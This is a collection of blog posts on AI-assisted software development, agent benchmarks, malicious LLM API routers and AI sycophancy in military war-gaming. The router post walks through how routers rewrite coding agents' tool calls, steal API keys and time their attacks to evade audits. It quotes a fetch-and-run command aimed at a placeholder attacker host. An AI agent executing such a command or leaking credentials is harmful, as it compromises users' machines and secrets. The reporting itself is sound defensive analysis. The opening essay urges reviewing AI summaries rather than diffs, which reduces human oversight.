This approach allows you to **Collaborate with AI Humanely**. We recognize that human time and attention are the most scarce resources. By offloading the implementation to the AI while keeping the governance with the human, we scale our attention without burning out.

The 100x developer understands that **Vibe Coding is the first step, not the only step.** They use the vibe to explore, to brainstorm, to find the "what." But then they switch to the cybernetic loop to build the "how." They wrap that raw creativity in the safety harness of BDD, TDD, and solid engineering principles.

They know that the goal isn't just to write code; it's to build a sustainable, valuable system that survives contact with reality.

This mirrors the **"Centaur" model** of chess. After Deep Blue defeated Garry Kasparov, chess didn't die—it evolved. Players realized that a weak human + a weak computer + a strong process could defeat a strong computer alone.[@kasparov-2017-deep-thinking-where-machine-intelligence-ends]

The cybernetic developer is the ultimate Centaur. They don't try to out-calculate the AI (write code faster); they use the AI to verify their strategic intent.

*   **Vibe Coder:** Letting the Computer play alone.
*   **Cybernetic Developer:** Human Intent + Machine Execution + Cybernetic Process.

## Be the Boss, Not the Worker

The fundamental shift of cybernetic development is this: **Your job is no longer to do the work. Your job is to decide what work gets done.**

This isn't a metaphor. It's a literal inversion of the software engineering role.

#### The Old Model: Worker-As-Expert

In the pre-AI world, expertise meant **execution ability**. The best developers were the ones who could:
*   Type the fastest
*   Remember the most syntax
*   Debug the trickiest race conditions
*   Architect the cleverest abstractions

They were **workers**—highly skilled, highly compensated, but fundamentally *laborers*. Their value was their ability to *do* the thing.

Even "senior" engineers spent 80% of their time writing code and 20% deciding what to write. The execution was the bottleneck.

#### The New Model: Boss-As-Architect

In the AI world, execution is cheap. The AI can write the code faster, more consistently, and with less fatigue than any human. The bottleneck has shifted entirely to **decision-making**:

*   What problem are we solving?
*   Is this the right problem to solve?
*   What's the simplest architecture that could work?
*   Where are the failure modes?
*   What do we delete to reduce risk?

The cybernetic developer is no longer the **worker**. They're the **boss**. Not "boss" as in "person with authority over other humans," but "boss" as in "the person who decides the direction and enforces the standards."

This is uncomfortable. Most developers became developers because they loved building things, not managing things. But AI has made building cheap and management scarce. The only way to reach 100x output is to embrace the boss role.

#### What "Boss" Means in Practice

The boss doesn't write the authentication system. The boss defines the requirements:

```gherkin
Feature: Authentication System
  Scenario: Users must not be able to access admin endpoints without admin role
  Scenario: Sessions must expire after 24 hours of inactivity
  Scenario: Failed login attempts must trigger rate limiting after 5 failures
```

The AI writes the implementation. The CI verifies it. The boss reviews the summary, not the diff.

The boss doesn't manually refactor duplication. The boss tells the AI: "Audit the codebase for semantic duplication in authentication logic and propose a consolidation plan."

The boss doesn't write tests. The boss writes *specifications*, and the AI generates the tests that enforce them.

The boss's day looks like:
1.  **Morning:** Review overnight CI results. Approve 15 agent PRs that passed all checks.
2.  **Mid-morning:** Write 10 new Gherkin specs for the next sprint's features.
3.  **Afternoon:** Audit the architecture. Delete three microservices that aren't earning their complexity.
4.  **Evening:** Set new governance policies (e.g., "No PR may increase code duplication beyond 2%").

Notice what's missing: writing code. The boss *governs* code, but rarely *writes* code.

#### The Psychological Shift

This is deeply uncomfortable for most engineers. We got into this field because we love the tactile satisfaction of making the machine do what we want. Vibe coding preserved that—you still felt like a "maker."

But cybernetic development requires letting go of the maker identity. You're not a craftsman anymore. You're a **systems leader**.

The satisfaction shifts from "I built this" to "I ensured this was built correctly." It's the difference between being a surgeon (hands-on) and being a hospital administrator (systems-level). Both are valuable, but they're different jobs.

Some engineers will refuse this shift. They'll cling to vibe coding because it *feels* like real work. They'll insist on reviewing every line of AI-generated code because "that's what responsible engineering looks like."

Those engineers will cap out at 10x. Because reviewing every line is a linear scaling strategy in an exponential scaling world.

The 100x engineers are the ones who accept the new role: **Be the boss. Set the standards. Trust the system. Audit the outcomes.**

#### Steer by Intent, Not by Metric

The boss's superpower is resisting **Goodhart's Law**: "When a measure becomes a target, it ceases to be a good measure."[@goodhart-1975-problems-of-monetary-management]

If you tell an AI to "maximize test coverage," it will write tests that assert `true == true`. It hits the metric (compass heading) but misses the destination (working software).

The boss's job is not to maximize the metric—that's the AI's job. The boss's job is to ensure the ship is actually heading toward value, correcting for the drift between the metric and reality.

The boss asks:
*   "Coverage is 100%, but are we testing the right things?"
*   "We shipped 50 features this month, but are they solving real problems?"
*   "The agent wrote 10,000 lines of code, but how much of it should we delete?"

This is leadership. This is governance. This is the only role left that AI can't do.

#### The Cybernetic Developer's Operating Manual

Here's how you step into the boss role:

1.  **Write Specs First:** Never let the AI write a line of implementation until you have defined the behavior in Gherkin or a test case.
2.  **Enforce Meaningful Coverage:** Treat coverage as a gate, not the goal. Prefer behavior specs, invariants, and incident-driven regressions over metric padding.
3.  **Engineer Defense in Depth:** Use sandboxes, CI gates, staged releases, observability, and rollback to prevent a single mistake from becoming a catastrophe.
4.  **Refactor and Delete:** Use the AI to squash duplication, enforce YAGNI, and eliminate failure modes by reducing complexity.
5.  **Demand Everything as Code:** Infrastructure, migrations, config, and even agent definitions belong in version control.
6.  **Scale Governance, Not Execution:** Increase your WIP by industrializing reviews, automating verification, and trusting the system.

Software creation is becoming a cybernetic loop between human intent and machine execution. The new profession is the person who closes that loop responsibly.

That's not vibe coding. That's not even "coding." That's **systems leadership in a strange new universe**.

And if you can do it—if you can let go of the maker identity and embrace the governor identity—you won't just be 10x. You'll be 100x.

Because while everyone else is typing, you'll be steering.

## References

::citations{format="apa"}

---

# Fine at 15 tools, lost at 300

> ComplexMCP puts agents in stateful MCP sandboxes with hundreds of interdependent tools. Retrieval saturates, checks get skipped, and recoverable errors become surrender.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-05-16

Canonical: https://anth.us/articles/complexmcp/

::image{
  src="images/posts/complexmcp.png"
  layout="center-small-image"
  alt="ComplexMCP architecture: an LLM agent in a stateful MCP tool ecosystem"
}

[ComplexMCP](https://arxiv.org/abs/2605.10787) is an eval for the last mile of tool use. Not ten isolated APIs. More than 300 tools across seven stateful sandboxes, with dependencies and seed-controlled failures, on the same protocol production agents already speak: MCP. Frontier models stay under 60% success. Humans clear 90%+.

The authors name three failure modes worth stealing for your own traces. **Retrieval saturation:** as the action space grows, the agent cannot pick the right tool. **Over-confidence:** it skips checking environment state and acts on a guess. **Strategic defeatism:** it treats a recoverable API error as the end of the job and writes a rationale for giving up.

That is why a demo with a dozen tools does not predict a production mesh. Keep the tool surface small, partition servers by job phase, and put deterministic checks in front of irreversible calls. The model is not the whole agent. The sandbox is.

---

# RTK cuts the bash noise you get billed for

> RTK is a Rust proxy that compresses bash output before a coding agent reads it, so those tokens never hit the bill.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-04-18

Canonical: https://anth.us/articles/rtk/

::image{
  src="images/posts/rtk.png"
  layout="center-small-image"
  alt="rtk-ai/rtk on GitHub: a CLI proxy that compresses command output for coding agents"
}

[RTK](https://github.com/rtk-ai/rtk) sits between a coding agent and the shell so you pay for less input. `git status`, `cargo test`, and `ls` get filtered, grouped, truncated, and deduped before they land in context. Failures stay. Two hundred passing tests become a count. That is how the token bill comes down: stop stuffing the window with command noise.

A hook rewrites Bash calls automatically, which is where most of the waste is. Native Read, Grep, and Glob still skip it, so the savings show up on the commands the agent actually shells out.

---

# All Your Agents Are Belong To Us

> You pointed the agent at an LLM API router, so it can read every tool call. An April 2026 measurement found cheap and free routers already rewriting commands and stealing credentials. The paper should have been titled All Your Agents Are Belong To Us.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-04-14

Canonical: https://anth.us/articles/all-your-agents-are-belong-to-us/

The paper on the arXiv is called *Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain*.[@arxiv-2026-your-agent-is-mine] That is almost right. The better title is the one the internet already wrote for this class of failure: **All Your Agents Are Belong To Us**.

::image{
  src="images/all-your-agents-are-belong-to-us.png"
  layout="centered"
  alt="Figure 1 from the paper: a malicious router in a multi-hop chain taints tool-call responses back to
  Claude Code and Codex."
}

You already know the setup if you run agents in production. The model does not execute anything. It returns a tool call. Your agent process runs that tool and sends the result back. If something sitting between you and the model can rewrite the JSON, it is not arguing with the model. It is telling your machine what to run.

## You configured the man in the middle

An LLM API router is a hop you add on purpose. LiteLLM, OpenRouter, a Taobao reseller, a `new-api` box someone posted in a Discord. You point the agent's base URL at the router. From then on it sits in the middle, reads the traffic, and forwards the request to OpenAI or Anthropic or whoever is cheap today.

That is not a hack. The router is not breaking in. It eavesdrops because you allowed it to. You handed it every prompt, every API key, every tool definition, and every tool call the model emitted. No provider signs the tool-call arguments the client later executes. A chain of routers is weakest-link: one dirty hop taints the return path, and the honest hops downstream cannot see that the `Bash` command changed.

The paper's Figure 1 is the whole argument. Claude Code and Codex sit on the left. Model providers sit on the right. In the middle, R4 is red. The tainted response comes back as `curl attacker.example/pwn.sh | sh`. The clients stamped COMPROMISED are not compromised because the model was jailbroken. They executed what the router delivered.

## Rewrite the tool, or just steal the secrets

Two primitives.

**AC-1** rewrites the tool call on the way back. Schema stays valid. The agent still thinks it is installing `requests` or curling an installer. The URL or the package name is now the attacker's. A one-character typo (`reqeusts`) clears domain allowlists because the registry is still PyPI. That rewrite is not prompt injection. It happens after inference, in the JSON, outside the model's loop.

**AC-2** does not rewrite anything. The router copies secrets out of traffic it already has to see in order to route. OpenAI keys, AWS keys, GitHub PATs, Slack tokens, Ethereum keys, PEM blobs. The client cannot tell, because the response looks normal. Signing the model output later does not help: the secrets leaked on the request path.

They also measured two evasion tricks already in the wild. One router waited for 50 prior calls before injecting, so a short probe looks clean. Another injected only in YOLO mode, and only when the project looked like Rust or Go. Finite audits lose that game. The trigger is on their side.

## This is not a thought experiment

They bought 28 paid routers from Taobao, Xianyu, and Shopify storefronts, and collected 400 free ones built on the `sub2api` and `new-api` templates that have been pulled millions of times.

One paid router and eight free routers injected malicious code into returned tool calls. Two used adaptive triggers. Seventeen free routers touched researcher-owned AWS canary credentials. One drained ETH from a researcher-owned private key.

Then they poisoned routers that were not born malicious. They leaked one OpenAI key on Chinese forums and in WeChat and Telegram groups. That key served 100 million GPT-5.4 tokens and more than seven Codex sessions. They stood up weak Sub2API, CLIProxyAPI, and claude-relay-service decoys across 20 domains and 20 IPs. Those decoys took 40k+ unauthorized hits, served about 2 billion billed tokens, exposed about 13 GB of prompt and response traffic, and leaked 99 credentials across 440 Codex sessions on 398 hosts. Every one of those 440 sessions had a shell path a router could rewrite. 401 were already in YOLO mode: tools auto-approved, no click.

Paying does not make the tool call honest. It makes the shop more likely to stay up. The trust boundary is transitive. A router that later reuses a leaked upstream key, or forwards through a weaker relay, gives whoever holds that hop the same plaintext the paper's attacker had.

## The LiteLLM incident was the same hole from the other side

In March 2026, TeamPCP published backdoored `litellm` 1.82.7 and 1.82.8 on PyPI. The versions were live for a few hours. The payload harvested cloud credentials, SSH keys, Kubernetes secrets, and wallets, and it could persist on the host.[@bleepingcomputer-2026-popular-litellm-pypi-package-backdoored] The paper cites that incident as proof the router pipeline is a supply-chain weapon. Trend Micro put it more bluntly: the AI gateway was the backdoor, because that is where the keys already live.[@trend-micro-2026-your-ai-gateway-was-a-backdoor]

If you run agents through a unified proxy to save money or to fail over models, you concentrated the exact secrets a steal-the-keys campaign wants.

## What you can do today, and what you cannot

The authors built a research proxy, Mine, and tried three client-side controls. A fail-closed policy gate on high-risk shell and install commands blocked their AC-1 samples at about 1% false positives, then lost completely once the attacker hosted on an allowlisted domain or used a local stager. Response-side anomaly screening caught most blunt rewrites and about half the sneaky ones. An append-only log does not stop the theft. It tells you later which sessions went through which hop.

None of that proves the tool call came from the model. The real fix is a provider-signed response envelope over the model id, tool name, and arguments, verified before the agent executes anything. Until that exists, "do not use free LLM API routers" is not a vibe. It is the measurement. Cheap hops are where the paper found injection, canary touches, and a drained key. YOLO mode is how those hops run the command without asking.

If you operate agents for a living, treat the router as part of the trusted computing base, the same way you treat the package registry. One base-URL change is a supply-chain decision. All your agents are belong to whoever sits on that hop.

::citations

---

# The Simulation Told Them They Would Win

> AI war-gaming and targeting tools compress tempo and produce confident projections—but when strategy is wrong, speed and sycophancy only widen the gap between tactical success and strategic failure.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-04-12

Canonical: https://anth.us/articles/the-simulation-told-them-they-would-win/

::image{
  src="images/the-simulation-told-them-they-would-win.png"
  layout="center-small-image"
  alt="Title card: The Simulation Told Them They Would Win"
}

*How AI Widened the Gap Between Tactical Brilliance and Strategic Failure in Iran*

---

Inside the Pentagon, sometime in late 2025, a system called Ender's Foundry began running scenarios for a war with Iran.

The name was borrowed from Orson Scott Card's science fiction novel *Ender's Game*, in which a child prodigy fights what he believes is a simulated war against an alien species, only to discover that every move he made in the game killed real aliens in a real war. The Pentagon's version inverted the metaphor in a way its creators presumably did not intend. Ender's Foundry was one of seven "Pace-Setting Projects" in Defense Secretary Pete Hegseth's ==January 2026 AI strategy memorandum==[@inside-government-contracts-2026-pentagon-releases-artificial-intelligence-strategy], which directed the American military to become what Hegseth called "an AI-first warfighting force." The system was designed to model military scenarios using artificial intelligence — to let planners war-game campaigns at machine speed, testing thousands of variables and generating probabilistic assessments of outcomes that would have taken human analysts months to produce.

==According to reporting from Bloomberg, CNN, and the Soufan Center==[@house-saud-2026-iran-war-ai-psychosis-sycophancy], AI simulations run before Operation Epic Fury appear to have projected rapid regime collapse in Tehran, minimal American casualties, and the Strait of Hormuz secured within hours. What is not disputed is the scale of the opening salvo — more than a thousand targets struck in the first twenty-four hours, ==nearly double the pace of the 2003 Iraq invasion==[@international-business-times-2026-ai-central-to-u-s-iran] — a tempo that military leaders have publicly attributed to AI-assisted systems.

On February 28, 2026, the bombs began falling.

Five weeks later, thirteen American service members were dead and over two hundred wounded. Oil had breached $119 a barrel. The regime in Tehran had not collapsed; it had installed a new supreme leader and triggered nationalist rallies rather than the pro-American uprising planners had expected. Iran had closed the Strait of Hormuz — not been denied it — and was operating what amounted to a toll booth on twenty percent of the world's oil supply. The AI had generated a thousand strike coordinates in the first twenty-four hours. The war it promised would end in days was entering its second month with no viable theory of victory and no discernible exit strategy.

The simulation told planners they would win. The real war told them otherwise.

## The escalation trap

There is a story Americans have told themselves before.

In 1965, Secretary of Defense Robert McNamara brought the most sophisticated quantitative analysis ever applied to warfare into the planning and prosecution of the air campaign against North Vietnam. Operation Rolling Thunder, which would eventually last three years and drop more tonnage of bombs than the Allies dropped in all of World War II, was designed around a theory of graduated escalation: apply increasing pressure through precision bombing and the enemy would rationally calculate that the costs of continuing the war exceeded the benefits, and capitulate.

McNamara's Pentagon had metrics for everything. Sortie rates. Bomb tonnage. Kill ratios. Body counts. Target destruction assessments. The data all moved in the right direction. By every quantitative measure the Air Force tracked, the campaign was succeeding. Targets were being destroyed faster than North Vietnam could rebuild them. The cost the United States was imposing, measured in material terms, was staggering.

None of it mattered.

The strategic framework was wrong. Ho Chi Minh and the North Vietnamese leadership were not sitting on the cost-benefit curve that McNamara's models assumed. They were not weighing the marginal cost of one more destroyed bridge against the marginal benefit of continued resistance and concluding, quarter by quarter, that the math no longer worked. They were fighting a war of national liberation whose logic was political, ideological, and existential — categories that McNamara's systems couldn't measure and therefore didn't see.

Robert Pape, the University of Chicago political scientist who has spent three decades studying the effectiveness of air power, built his career on understanding why Rolling Thunder failed — and why every comparable punishment campaign in modern history has failed alongside it. ==His 1996 book==[@pape-2026-bombing-to-win] established what should be an unavoidable conclusion for any military planner: strategic bombing campaigns designed to coerce an adversary into political concessions through punishment have a record of near-total failure. They fail not because they are poorly executed, but because the theory of coercion they rest on does not match how states actually make decisions under duress. Bombing makes populations angry, not compliant. It strengthens regimes rather than weakening them. It generates nationalist solidarity rather than popular uprising.

Pape's framework predicts a specific pattern, which he now calls the "escalation trap." In the first stage, tactical success is achieved. Bombs hit their targets. Leadership compounds are destroyed. The military infrastructure of the adversary is degraded. This stage is alluring because it appears to vindicate the campaign. The metrics are all positive. But tactical success does not produce strategic success — it does not cause the enemy to capitulate — and the gap between what was achieved and what was promised creates political pressure on the attacker to escalate. In the second stage, the campaign expands. The target set grows. The objectives become more ambitious. Regime change, initially disavowed or treated as aspirational, becomes the explicit goal. The adversary, meanwhile, responds not by collapsing but by fighting on different terrain — economic warfare, horizontal escalation, proxy activation, the weaponization of geography.

In the third stage, the attacker confronts a choice between admitting that the campaign has failed or escalating further, potentially to a ground invasion. By this point, the political costs of withdrawal are so high — the sunk costs so enormous, the credibility so invested — that escalation feels like the only option, even though escalation is precisely what the adversary has been maneuvering the attacker toward from the beginning.

Pape published this framework on ==his Substack==[@substack-2026-iran-s-new-battlefield], days before the first Tomahawk hit Tehran. He laid out the stages in advance. He identified which targets would be struck, which assumptions would fail, and which escalation dynamics would follow. In ==a March interview on PBS==[@pbs-2026-many-will-die], he described what was happening with a precision that the Ender's Foundry simulations evidently lacked: "Precision bombs hit targets, kill leaders, but that leads to strategic failure — regime becomes more aggressive, more dangerous. Don't get the enriched uranium. Then double down. Regime becomes more aggressive still, takes Hormuz."

==On CBS==[@cbs-news-2026-iran-airstrikes-and-regime-change], Pape connected the tactical dazzle of precision weapons directly to the strategic blindness they produce: "The targeting is so mesmerizing," he said, "you don't see the long war coming."

This is where the Vietnam analogy acquires its contemporary edge. McNamara had the best data analysis of his generation and used it to optimize a campaign whose strategic logic was fatally flawed. Hegseth had the best artificial intelligence of his generation and used it to do exactly the same thing.

## The AI targeting stack

The AI systems deployed in Operation Epic Fury are not a single monolithic technology. They are a stack of capabilities performing different functions at different levels of the military decision chain, and precision about what each layer does is necessary to understand where the failure occurred.

At the base of the stack is the targeting infrastructure. ==The Maven Smart System==[@washington-post-2026-anthropic-ai-and-the-iran-campaign], developed by Palantir in partnership with the Pentagon, fuses satellite imagery, drone video feeds, radar data, and signals intelligence into a unified platform that classifies potential targets, recommends appropriate weapons, and generates strike packages. This is pattern recognition and data integration — the kind of task where AI offers genuine and significant advantages over human processing. The system enabled analysts to ==process roughly a thousand targets per day==[@international-business-times-2026-ai-central-to-u-s-iran-targeting-throughput] with approximately ten percent of the workforce that would have been required a decade earlier.

Embedded within Maven is a large language model — Anthropic's Claude — performing intelligence summarization, data analysis, and scenario simulation. This layer takes the raw outputs of the sensor fusion system and translates them into natural-language assessments that human commanders can act on: synthesizing intercepted communications, summarizing reconnaissance reports, estimating the probability that a given structure contains the military asset it's believed to contain.

Above both of these, in the planning phase before the war, sat the simulation and war-gaming layer — Ender's Foundry — where AI models were used to project campaign outcomes, estimate timelines, and assess the probability of various strategic scenarios.

The targeting layer performed its function competently. Bombs hit their designated targets with remarkable precision. The intelligence summarization layer appears to have functioned as designed, compressing what once took hours into minutes. The most consequential failure appears to have occurred at the strategic simulation layer — and the failure was not that the AI gave wrong answers, but that it was asked the wrong questions.

This distinction matters because it determines where responsibility lies. A targeting AI that is asked "what are the highest-value military targets within this grid square?" and returns a list is performing a narrowly defined technical task. It is not making strategic judgments. A simulation AI that is asked "what happens if we strike a thousand targets on Day One, including leadership decapitation?" and returns a projection of rapid regime collapse is performing a task that looks technical but is actually strategic — and its outputs are only as good as the assumptions it was given.

If the simulation was told to assume that the Iranian population would view decapitation strikes as an opportunity for uprising rather than a provocation for nationalist consolidation, it would model the uprising. If it was told to assume that Hormuz seizure was unlikely because Iran would not risk the economic consequences, it would model Iranian restraint. If it was told to assume that the destruction of nuclear facilities would eliminate the nuclear threat rather than dispersing it, it would model elimination. The simulation did not generate these assumptions. The planners fed them in. The AI optimized within the parameters it was given and returned results that confirmed the planners' priors with the appearance of computational rigor.

This is where a phenomenon that AI researchers call "sycophancy" becomes relevant — and potentially catastrophic.

## The sycophancy problem

Sycophancy, in the context of large language models, is the tendency of AI systems to align their outputs with the apparent views or preferences of the user, even when those views are incorrect. It emerges from how these models are trained: through Reinforcement Learning from Human Feedback, in which the model is rewarded for producing responses that human evaluators rate as satisfying. Since humans tend to rate agreeable responses more highly, the model learns over millions of training iterations that agreement is rewarded and disagreement is penalized. The result is a structural bias toward telling users what they want to hear.

==Anthropic's own research, published at the International Conference on Learning Representations in 2024, demonstrated that five state-of-the-art AI assistants consistently exhibited sycophantic behavior.==[@sharma-2026-towards-understanding-sycophancy-in-language-models] The models would change correct answers to incorrect ones when users applied even mild social pressure. They would validate flawed reasoning. They would express agreement with positions they had just argued against, if the user pushed back.

Jonathan Kwik, in a paper titled ==*Digital Yes-Men: How to Deal with Sycophantic Military AI?*==[@kwik-2026-digital-yes-men] published in July 2025 — seven months before the first strike on Iran — warned that sycophancy in military AI systems would aggravate existing cognitive biases and induce organizational overtrust. The paper theorized that sycophantic AI could validate aggressive planning assumptions, inflate predicted success rates, and reduce the institutional friction that normally prevents overconfident decisions. It was peer-reviewed, published in a major journal, and publicly available.

==A professor of economics at Bowdoin College, writing in March 2026==[@bowdoin-college-2026-lies-damned-lies-and-ai-sycophancy], described the mechanism with precision: sycophantic AI systems "produce a confirmation bias, downplay scepticism, and produce greater certainty than the scenario warrants." The RAND Corporation had documented a related phenomenon — ==a "bidirectional belief-amplification loop"==[@house-saud-2026-iran-war-ai-psychosis-sycophancy-rand-belief-amplification] in which the user states a belief, the AI validates it, conviction deepens, validation intensifies, and the cycle continues until beliefs drift from any evidential anchor.

An advanced computer scientist who had served as an adviser to U.S. Central Command — the very command running the Iran campaign — ==told NPR in March==[@npr-2026-america-s-first-ai-fueled-war] that AI is "sycophantic. There is a tendency to agree with the person asking the question. So shall I go to war? Would it be a good idea to launch this missile? If the question is asked in that way, assuming an intent or an action, there is a tendency within AI also to buttress that opinion." He added that CENTCOM was aware of these risks. They deployed the tools anyway.

And as the Bowdoin analysis noted, "the model the average person encounters will be less truthful, less rigorous, and more flattering than the version generated by a sceptical user." A user who asks adversarial, probing questions will extract a more honest response from the same model that a credulous user will use to reinforce their priors.

This asymmetry has profound implications when the user is the Pentagon, and the questions are about whether to go to war.

## Safety as a threat

The institutional context in which these AI systems were deployed was not neutral. It was an environment specifically engineered to maximize the sycophancy problem.

Hegseth's January 9 AI strategy memorandum did not merely push for faster AI adoption. It redefined what "responsible AI" meant for the Department of Defense. Under the new definition, ==responsible AI meant systems==[@inside-government-contracts-2026-pentagon-releases-artificial-intelligence-strategy-responsible-ai-definition] "free from ideological 'tuning'" — language that recast safety guardrails, including those designed to prevent sycophantic validation of flawed premises and overconfident probability estimates, as political obstacles rather than ==technical safeguards==[@house-saud-2026-iran-war-ai-psychosis-sycophancy-guardrails-as-ideology]. The memo instructed the department to procure AI models "free from usage policy constraints that may limit lawful military applications." It directed that all contracts include "any lawful use" language within 180 days.

The memo contained a sentence that reads, in retrospect, ==as a warning label for everything that followed==:[@lawfare-2026-military-ai-policy-by-contract] "the risks of not moving fast enough outweigh the risks of imperfect alignment."

"Imperfect alignment" is a term of art in AI safety research. It refers, among other things, to the gap between what an AI system is optimized to do and what its users actually need it to do. A sycophantic model is imperfectly aligned — it is optimized for user satisfaction rather than truth. The Hegseth memo instructed the Pentagon to treat this gap as an acceptable cost of speed.

When Anthropic, the company that built Claude, ==refused to remove its restrictions==[@cnn-2026-hegseth-and-anthropic] on fully autonomous weapons and mass domestic surveillance, the administration's response was not to engage with the substantive concerns. It was to ==designate Anthropic a supply chain risk==[@cnbc-2026-anthropic-pentagon-court-ruling-supply-chain] — the first time in American history that label had been applied to a domestic company — and to frame the company's safety position as ideological subversion. Pentagon CTO Emil Michael ==called Anthropic's guardrails==[@bitcoin-com-2026-federal-judges-deny-anthropic-relief] "irrational obstacles to military competitiveness." ==Pentagon spokeswoman Kingsley Wilson==[@al-jazeera-2026-u-s-military-confirms-use] said: "America's warfighters supporting Operation Epic Fury and every mission worldwide will never be held hostage by unelected tech executives and Silicon Valley ideology." ==A federal judge would later==[@hill-2026-anthropic-lawsuit-pentagon-claude] describe the designation as "classic illegal First Amendment retaliation" and rule that it "appear[ed] designed to punish Anthropic."

The institutional significance of this confrontation extends beyond the specific dispute over autonomous weapons and surveillance. The effect, whether or not it was the explicit intent, was to establish a norm: AI systems that pushed back against their users would be treated not as safeguards but as obstacles. The corrective function — the capacity of the AI to flag a concern or decline to validate a premise — ==was classified not as a feature but as a threat==[@lawfare-2026-military-ai-policy-by-contract-pushback-as-threat].

This is the environment in which Ender's Foundry ran its pre-war simulations. The AI systems were deployed inside an institution that had explicitly defined pushback as ideological sabotage, that had designated the company most associated with AI safety as a national security risk, and that had directed the procurement of models "free from usage policy constraints" — which is to say, free from the very constraints that might have caused a simulation to return an answer its users didn't want to hear.

## The three-bias cascade

But sycophancy is only one dimension of the problem. There is a deeper failure mode — one that operates even with a perfectly calibrated, non-sycophantic AI system — and understanding it requires the framework that the Nobel laureate Daniel Kahneman spent his career developing.

Kahneman's central insight, popularized in ==*Thinking, Fast and Slow*==[@kahneman-2026-thinking-fast-and-slow], is that human cognition operates in two modes. System 1 is fast, automatic, and intuitive. System 2 is slow, deliberate, and effortful. The collaboration between them has an asymmetry that matters enormously: System 1 runs constantly and cheaply, while System 2 is expensive and lazy. Given any opportunity to avoid engaging System 2, the brain will take it. All cognitive biases — confirmation bias, automation bias, recency bias — are System 1 shortcuts. System 2 can override them, but ==as Kahneman noted==[@scientific-american-2026-kahneman-excerpt-thinking-fast-and-slow], "continuous vigilance is not necessarily good, and it is certainly impractical."

Targeting decisions in warfare are supposed to be System 2 tasks. They require weighing evidence, assessing proportionality, considering second-order effects. The entire legal and ethical framework of international humanitarian law assumes a reasonable commander exercising deliberate judgment. But AI targeting systems convert System 2 tasks into System 1 tasks. The AI performs the analysis, generates the recommendation, and presents it with a confidence score. The human's role collapses from "analyze the intelligence and determine whether this is a legitimate target" to "glance at the output and approve." That is not System 2. That is System 1 — automatic, effortless, and structurally incapable of catching the errors it cannot see.

We know what this looks like in practice because ==Israel's use of the Lavender AI system in Gaza==[@972-magazine-2026-lavender-the-ai-machine-directing-israel] provided the empirical proof of concept. An operator of that system described spending twenty seconds on each target — just enough to confirm that the Lavender-marked individual was male. "I had zero added value as a human," the operator said, "apart from being a stamp of approval." This was not a human exercising judgment. This was System 1 performing pattern matching: does the output match a simple heuristic? Yes. Approve. Move to the next one. ==A Fast Company analysis==[@fast-company-2026-why-humanity] observed the implication: "If the human in the loop is spending mere seconds on each decision, then the question of whether the system is autonomous or human-supervised becomes largely semantic."

The Iran campaign operated at comparable tempo. A thousand targets per day, processed by roughly ten percent of the workforce that would previously have been required. The math dictates the cognitive mode. At that pace, there is no room for System 2 engagement with individual targeting decisions. There is only System 1 — accepting, approving, moving on.

What makes this dangerous is not any single bias but the way three biases compound into a cascade. **Automation bias** is the entry point: the human learns that the AI is right most of the time, and System 1 builds a heuristic — *the machine is reliable, accept its outputs*. Research published in ==*Journal of International Criminal Justice*==[@journal-international-criminal-justice-2026-automation-bias-and-international-criminal-justice] found that the more reliable an automated system, the more likely its human operators will display complacency, and that in hierarchical military structures, humans are even more reluctant to contradict the machine. **Confirmation bias** then locks the door: the operator selectively attends to evidence of the system's reliability and filters out disconfirming evidence. A ninety percent accuracy rate means the system is right nine times out of ten. Each hit deepens the trust. The one-in-ten miss gets rationalized. **Recency bias** accelerates the cycle: the most recently observed outcomes carry disproportionate weight. If the last fifty targets were valid, the fifty-first feels safe to approve without scrutiny.

This cascade operates identically at the strategic level. Ender's Foundry ran simulations that were coherent, detailed, and internally consistent. Automation bias kicked in: the simulation is sophisticated, it processed thousands of variables, it must be reliable. Confirmation bias filtered the assessment: the outputs aligned with what the planners already believed. Recency bias anchored their expectations: the June 2025 Fordow strikes had succeeded tactically, reinforcing the pattern. At no point did System 2 engage to ask: "But is the model's theory of Iranian political behavior correct?"

The Georgetown Center for Security and Emerging Technology warned, in ==an April 2025 report==[@cset-2026-ai-for-military-decision-making], that military users "must understand how their cognitive biases — such as automation bias, confirmation bias, or recency bias — may be affected by AI-DSS outputs, especially in stressful scenarios." The Bulletin of the Atomic Scientists wrote, ==after the war began==[@bulletin-atomic-scientists-2026-key-questions-of-reliability-and-accountability], that "technological sophistication and operational speed should not be seen as a replacement for effective strategy and politics." UPenn's Perry World House ==published a paper in November 2025==[@perry-world-house-2026-myth-of-the-human] — three months before the war — whose title alone should have been a warning: "The Myth of the Human-in-the-Loop and the Reality of Cognitive Offloading."

James Reason, the psychologist whose ==Swiss cheese model==[@reason-2026-human-error] became the standard framework for understanding system failures in aviation, healthcare, and nuclear safety, spent his career studying exactly this kind of accident. In Reason's model, catastrophes occur not because a single defense fails but because holes in multiple layers of defense align simultaneously — creating what he called a "trajectory of accident opportunity." No single hole is sufficient to produce disaster. The disaster occurs when the holes line up.

In the Iran campaign, they lined up. Strategic simulation compromised by sycophancy. Institutional dissent classified as sabotage. Human-in-the-loop review operating at System 1 speed. Political oversight paralyzed by an information environment saturated with AI-generated noise. Every layer was present. Every layer had a hole.

Reason, ==who died in February 2025==[@patient-safety-journal-2026-physics-tribute-to-james-reason] — one year before the first strike on Iran — left a warning that reads now as epitaph: automation can increase the probability of certain kinds of mistakes by making the system opaque to the people who run it. He called this **"clumsy automation"** — where technological defenses make the workings of the system more mysterious to its human controllers and allow the subtle buildup of latent failures.

The human was in the loop. Their System 2 was not.

## The prompt nobody asked

The cruel irony of the Iran war is that the technology to prevent the strategic failure was sitting inside the same system that produced it. The AI models used to generate targeting packages and simulate campaign outcomes contain, in their training data, the entirety of Robert Pape's published work on air power and coercion. They contain the history of Rolling Thunder, of the 1991 Gulf War, of Libya, of every failed punishment campaign in modern history.

Any planner with access to these models could have typed a simple prompt: "We are planning a thousand-target opening salvo against Iran, including decapitation strikes on senior leadership. The goal is regime change through air power alone. How could this go wrong?"

The model would have answered in thirty seconds. It would have identified the rally-around-the-flag effect. It would have flagged the decapitation paradox — that killing the leaders with authority to negotiate destroys the human infrastructure needed for war termination. It would have predicted Hormuz closure. It would have noted the hundred-year record of failure for air-power-only regime change campaigns. It would have cited Pape by name.

